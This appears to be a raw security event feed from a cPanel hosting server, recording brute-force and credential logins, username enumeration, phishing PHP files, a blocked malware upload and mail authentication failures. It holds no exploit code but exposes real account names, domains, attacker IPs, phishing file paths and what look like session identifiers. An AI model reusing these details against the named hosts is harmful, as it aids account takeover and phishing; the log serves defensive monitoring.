93.185.162.8 - - [16/Jun/2026:13:43:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935259&pdata=https%253A%252F%252Fafrique-distribution.net%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781617382 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net:2083/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.185.162.8


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 93.185.162.8
country_id: 1643084
description:
[2026-06-16 13:43:13 +0000] info [cpaneld] 93.185.162.8 NEW sadis:shTVdQXs9RT1AKmY address=93.185.162.8,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.143
country_id: 3017382
description:
[2026-06-16 13:43:01 +0000] info [cpaneld] 5.231.255.143 NEW gsizyncj:3hxnW60SwNDJJ7D2 address=5.231.255.143,app=cpaneld,creator=gsizyncj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.255.68
country_id: 3017382
description:
[2026-06-16 13:43:14 +0000] info [cpaneld] 5.231.255.68 - pmalabvi "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.108.145.61
country_id: 1210997
description:
[2026-06-16 13:43:23 +0000] info [cpaneld] 103.108.145.61 - wage "GET /login/?login_only=1&user=wage&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wage (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.190
country_id: 3017382
description:
[2026-06-16 13:43:43 +0000] info [cpaneld] 5.231.255.190 NEW zxtqbmmj:WvOXeWxxmdEdPQbA address=5.231.255.190,app=cpaneld,creator=zxtqbmmj,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.203.52.168
country_id: 99237
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/reunion-trimestrielle-societe-nouvelle-de-boissons-et-task-forces HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.64.168
country_id: 3017382
description:
[2026-06-16 13:44:04 +0000] info [cpaneld] 5.231.64.168 - qjzcsoob "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.255.245
country_id: 3017382
description:
[2026-06-16 13:43:55 +0000] info [cpaneld] 5.231.255.245 - pnls "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.74
country_id: 2635167
description:
[2026-06-16 13:44:10 +0000] info [cpaneld] 5.230.133.74 NEW sahamtg:sEiN8VsIlrSgoTg9 address=5.230.133.74,app=cpaneld,creator=sahamtg,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.233
country_id: 2635167
domain: opa-conseils.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/lecdsntn/public_html/.475119522483841.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.143
country_id: 3017382
description:
[2026-06-16 13:44:43 +0000] info [cpaneld] 5.231.64.143 NEW zauwogvk:oKOghH6vAzC1bXn9 address=5.231.64.143,app=cpaneld,creator=zauwogvk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.245
country_id: 3017382
description:
[2026-06-16 13:45:18 +0000] info [cpaneld] 5.231.255.245 NEW lecdsntn:1L6bjaFFWYBAFIdA address=5.231.255.245,app=cpaneld,creator=lecdsntn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.217
country_id: 2635167
description:
[2026-06-16 13:45:20 +0000] info [cpaneld] 5.230.133.217 NEW nerohostfreenetm:0o55bEWjK9LK3WTP address=5.230.133.217,app=cpaneld,creator=nerohostfreenetm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 93.185.162.147
country_id: 1643084
description:
[2026-06-16 13:45:22 +0000] info [cpaneld] 93.185.162.147 - sadis "GET /cPanel_magic_revision_1726168745/yui-gen/utilities_container/utilities_container.js HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [93.185.162.8] != Current IP Address [93.185.162.147]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 93.185.162.147
country_id: 1643084
description:
[2026-06-16 13:45:44 +0000] info [cpaneld] 93.185.162.147 NEW sadis:qgg4DcaEQt2IJSuY address=93.185.162.147,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.226
country_id: 2635167
description:
[2026-06-16 13:45:47 +0000] info [cpaneld] 5.230.153.226 NEW nmvhuvgp:GX12WgCexJhStczY address=5.230.153.226,app=cpaneld,creator=nmvhuvgp,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.115
country_id: 2635167
description:
[2026-06-16 13:45:25 +0000] info [cpaneld] 5.230.133.115 NEW ebbmnmtd:60DZ4sf8mxA663Ko address=5.230.133.115,app=cpaneld,creator=ebbmnmtd,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.117
country_id: 2635167
description:
[2026-06-16 13:45:46 +0000] info [cpaneld] 5.230.133.117 NEW nmvhuvgp:WBHuf3wLVwV7ywMs address=5.230.133.117,app=cpaneld,creator=nmvhuvgp,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.229
country_id: 6252001
description:
[2026-06-16 13:46:15 +0000] info [cpaneld] 64.44.62.229 NEW aneos:25aMVjuO8CFw0z9P address=64.44.62.229,app=cpaneld,creator=aneos,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:13:46:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001258&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781617577 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.125
country_id: 2635167
description:
[2026-06-16 13:45:26 +0000] info [cpaneld] 5.230.153.125 NEW ebbmnmtd:TyKi73bTTZB6Uwbt address=5.230.153.125,app=cpaneld,creator=ebbmnmtd,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.100
country_id: 3017382
description:
[2026-06-16 13:45:33 +0000] info [cpaneld] 5.231.64.100 NEW efberwhk:O3hx78cs9x3wNYeb address=5.231.64.100,app=cpaneld,creator=efberwhk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.16
country_id: 2635167
description:
[2026-06-16 13:45:50 +0000] info [cpaneld] 5.230.133.16 - sxoyfjqv "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.151
country_id: 6252001
description:
[2026-06-16 13:45:57 +0000] info [cpaneld] 173.211.89.151 NEW sodigaz:Yp08xA5gGKhmuqGm address=173.211.89.151,app=cpaneld,creator=sodigaz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.233
country_id: 2635167
description:
[2026-06-16 13:45:46 +0000] info [cpaneld] 5.230.133.233 - pkyvzjjc "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 16 13:47:15 ns5.netmaster.tg cpanel_fileman_hook[1013106]: 0 BAILOUT malware detected when save 'test123Cp.php' in public_html for user yydrdvav


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 123.24.238.12
country_id: 1562822
description:
[2026-06-16 13:47:16 +0000] info [cpaneld] 123.24.238.12 - las "GET /login/?login_only=1&user=las&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user las (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.54.78.162
country_id: 1512440
description:
[2026-06-16 13:47:12 +0000] info [cpaneld] 84.54.78.162 - lasn "GET /login/?login_only=1&user=lasn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasn (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.68
country_id: 6252001
description:
[2026-06-16 13:47:17 +0000] info [cpaneld] 134.195.82.68 NEW sotragonet:vaxnvryju1vtP0Do address=134.195.82.68,app=cpaneld,creator=sotragonet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.201.104.143
country_id: 290557
description:
[2026-06-16 13:46:59 +0000] info [cpaneld] 94.201.104.143 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.153
country_id: 6252001
description:
[2026-06-16 13:47:02 +0000] info [cpaneld] 173.211.88.153 NEW jdzxeovw:HfEtqE7E8sLAj8G4 address=173.211.88.153,app=cpaneld,creator=jdzxeovw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.0.247.156
country_id: 3469034
description:
[2026-06-16 13:47:09 +0000] info [cpaneld] 138.0.247.156 - lasnbtg "GET /login/?login_only=1&user=lasnbtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasnbtg (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 93.185.162.149
country_id: 1643084
description:
[2026-06-16 13:48:05 +0000] info [cpaneld] 93.185.162.149 - sadis "GET /cpsess8786358648/frontend/jupiter/filemanager/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [93.185.162.147] != Current IP Address [93.185.162.149]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 93.185.162.149
country_id: 1643084
description:
[2026-06-16 13:48:17 +0000] info [cpaneld] 93.185.162.149 NEW sadis:YgFFyrBlymSMogSe address=93.185.162.149,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.177
country_id: 6252001
description:
[2026-06-16 13:48:16 +0000] info [cpaneld] 107.175.5.177 NEW elmkvzcm:wOMrbsjtnN1BJips address=107.175.5.177,app=cpaneld,creator=elmkvzcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.227
country_id: 2635167
description:
[2026-06-16 13:48:20 +0000] info [cpaneld] 5.230.153.227 NEW sayfuswa:VhT_rNRXNp5Vxaaj address=5.230.153.227,app=cpaneld,creator=sayfuswa,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.50
country_id: 3017382
domain: matwtogo.org
description:
IM360 WAF: Possible phishing page detected||SC:/home/rqgqpxof/public_html/.795077455196126.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.20.181.138
country_id: 3469034
description:
Jun 16 13:48:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.20.181.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.138.164.119
country_id: 2661886
description:
Jun 16 13:49:13 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.138.164.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.100.107.238
country_id: 1831722
description:
Jun 16 13:48:52 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.100.107.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.72.176.66
country_id: 2542007
description:
Jun 16 13:48:58 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.72.176.66 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.255.68
country_id: 3017382
description:
[2026-06-16 13:48:40 +0000] info [cpaneld] 5.231.255.68 - ulduzncs "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.16
country_id: 2635167
description:
[2026-06-16 13:49:15 +0000] info [cpaneld] 5.230.133.16 - wttzshhf "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User wttzshhf has their account suspended. Login blocked.


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.64.56
country_id: 3017382
domain: lac3.mairie.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/sayfuswa/public_html/.740376256244386.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.201
country_id: 2921044
description:
[2026-06-16 13:48:51 +0000] info [cpaneld] 5.175.229.201 NEW jdzxeovw:Nkzm5X__G7kS_jaj address=5.175.229.201,app=cpaneld,creator=jdzxeovw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.84.21.186
country_id: 798549
description:
Jun 16 13:48:58 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.84.21.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.28.237.90
country_id: 3469034
description:
Jun 16 13:49:55 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.28.237.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jun 16 13:49:59 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.216.210.246
country_id: 1269750
description:
Jun 16 13:50:00 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.216.210.246 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.14
country_id: 2635167
description:
[2026-06-16 13:50:01 +0000] info [cpaneld] 5.230.133.14 NEW ecukpqcm:UaZRk2yLSzimhkuX address=5.230.133.14,app=cpaneld,creator=ecukpqcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.20.181.138
country_id: 3469034
description:
Jun 16 13:49:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.20.181.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.21.246.238
country_id: 1814991
description:
Jun 16 13:49:57 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.21.246.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.183.50
country_id: 1269750
description:
Jun 16 13:49:59 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.183.50 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.56
country_id: 3017382
description:
[2026-06-16 13:49:42 +0000] info [cpaneld] 5.231.64.56 NEW qledpnjw:P0oSMdpQvtUse9YD address=5.231.64.56,app=cpaneld,creator=qledpnjw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.203.220.178
country_id: 732800
description:
Jun 16 13:49:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.203.220.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.105.205
country_id: 1835841
description:
Jun 16 13:49:51 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.105.205 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 35.95.11.85
country_id: 6252001
description:
35.95.11.85 - - [16/Jun/2026:13:49:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999205&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781617787 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/index.php?cmd=newupld" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:35.95.11.85


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.138.74
country_id: 1269750
description:
Jun 16 13:51:08 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.138.74 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.148
country_id: 2635167
description:
[2026-06-16 13:50:33 +0000] info [cpaneld] 5.230.133.148 - vtytmwmz "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.217
country_id: 2635167
description:
[2026-06-16 13:50:37 +0000] info [cpaneld] 5.230.153.217 - xdkbrmjc "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.240
country_id: 6252001
description:
[2026-06-16 13:50:51 +0000] info [cpaneld] 64.44.62.240 NEW eevbufog:Ysg2gIMl53hqdX_q address=64.44.62.240,app=cpaneld,creator=eevbufog,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.244.215.186
country_id: 298795
description:
Jun 16 13:50:59 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.244.215.186 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.154
country_id: 2635167
description:
[2026-06-16 13:50:49 +0000] info [cpaneld] 5.230.133.154 NEW wgqhqbem:WCsV5NuPmvVQ65wc address=5.230.133.154,app=cpaneld,creator=wgqhqbem,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.193.122.91
country_id: 690791
description:
Jun 16 13:50:52 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.193.122.91 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.26
country_id: 2635167
description:
[2026-06-16 13:50:51 +0000] info [cpaneld] 5.230.153.26 NEW hphhdcxi:PwpfX1UmGoDqTLMc address=5.230.153.26,app=cpaneld,creator=hphhdcxi,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.244.215.186
country_id: 298795
description:
2026-06-16 13:51:01 dovecot_login authenticator failed for H=([175.212.173.17]) [178.244.215.186]:51796: 535 Incorrect authentication data (set_id=pascaljoseph.panassi@sodigaz.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.138.74
country_id: 1269750
description:
2026-06-16 13:51:10 dovecot_login authenticator failed for H=([154.63.163.211]) [125.19.138.74]:34308: 535 Incorrect authentication data (set_id=pascaljoseph.panassi)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.84.21.186
country_id: 798549
description:
Jun 16 13:51:18 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.84.21.186 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.43
country_id: 6252001
description:
[2026-06-16 13:51:32 +0000] info [cpaneld] 107.175.5.43 NEW yydrdvav:wpUDbMnhVGN8lWLz address=107.175.5.43,app=cpaneld,creator=yydrdvav,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.44.62.195
country_id: 6252001
description:
[2026-06-16 13:52:05 +0000] info [cpaneld] 64.44.62.195 - aopsacai "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.8.48.37
country_id: 3469034
description:
[2026-06-16 13:52:21 +0000] info [cpaneld] 177.8.48.37 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.28.237.90
country_id: 3469034
description:
Jun 16 13:51:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.28.237.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.185.255.227
country_id: 1814991
description:
Jun 16 13:51:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.185.255.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jun 16 13:51:40 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.215.88.117
country_id: 2017370
description:
[2026-06-16 13:52:56 +0000] info [cpaneld] 91.215.88.117 - togocarrie "GET /login/?login_only=1&user=togocarrie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.136.56.64
country_id: 1643084
description:
[2026-06-16 13:53:19 +0000] info [cpaneld] 103.136.56.64 - togoca "GET /login/?login_only=1&user=togoca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoca (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4078ec3c36593ccef6c33f4d3ea5004c166781c5||Title:dnkwstdrsmgljicc||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.245.166.114
country_id: 3508796
description:
[2026-06-16 13:52:23 +0000] info [cpaneld] 170.245.166.114 - togocarrieretsevie "GET /login/?login_only=1&user=togocarrieretsevie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrieretsevie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.68.165.130
country_id: 2542007
description:
[2026-06-16 13:52:40 +0000] info [cpaneld] 105.68.165.130 - togocarrierets "GET /login/?login_only=1&user=togocarrierets&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrierets (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.228.244.155
country_id: 1605651
description:
[2026-06-16 13:52:50 +0000] info [cpaneld] 49.228.244.155 - togocarriere "GET /login/?login_only=1&user=togocarriere&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarriere (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.1.187.206
country_id: 1733045
description:
[2026-06-16 13:53:04 +0000] info [cpaneld] 14.1.187.206 - togocarri "GET /login/?login_only=1&user=togocarri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.94.255.25
country_id: 1282988
description:
[2026-06-16 13:52:29 +0000] info [cpaneld] 103.94.255.25 - togocarrieretsevi "GET /login/?login_only=1&user=togocarrieretsevi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrieretsevi (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.100.84.61
country_id: 2017370
description:
2026-06-16 13:52:37 dovecot_login authenticator failed for H=(94.154.35.215) [92.100.84.61]:58361: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.228.77.77
country_id: 3865483
description:
[2026-06-16 13:52:44 +0000] info [cpaneld] 45.228.77.77 - togocarrieret "GET /login/?login_only=1&user=togocarrieret&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrieret (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.229.221.210
country_id: 6252001
description:
[2026-06-16 13:52:53 +0000] info [cpaneld] 138.229.221.210 - togocarrier "GET /login/?login_only=1&user=togocarrier&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrier (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.68
country_id: 3017382
description:
[2026-06-16 13:52:24 +0000] info [cpaneld] 5.231.255.68 NEW wwayrzpl:yc0rfpKcLCgbyKuJ address=5.231.255.68,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.65.46.183
country_id: 2542007
description:
[2026-06-16 13:52:26 +0000] info [cpaneld] 196.65.46.183 - togocarrieretseviecom "GET /login/?login_only=1&user=togocarrieretseviecom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrieretseviecom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.123.226.10
country_id: 953987
description:
[2026-06-16 13:52:38 +0000] info [cpaneld] 41.123.226.10 - togocarrieretse "GET /login/?login_only=1&user=togocarrieretse&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrieretse (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.170.23.191
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/telechargement.webp 302w, http:/togodailynews.tg/wp-content/uploads/2026/06/telechargement-300x166.webp 300w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
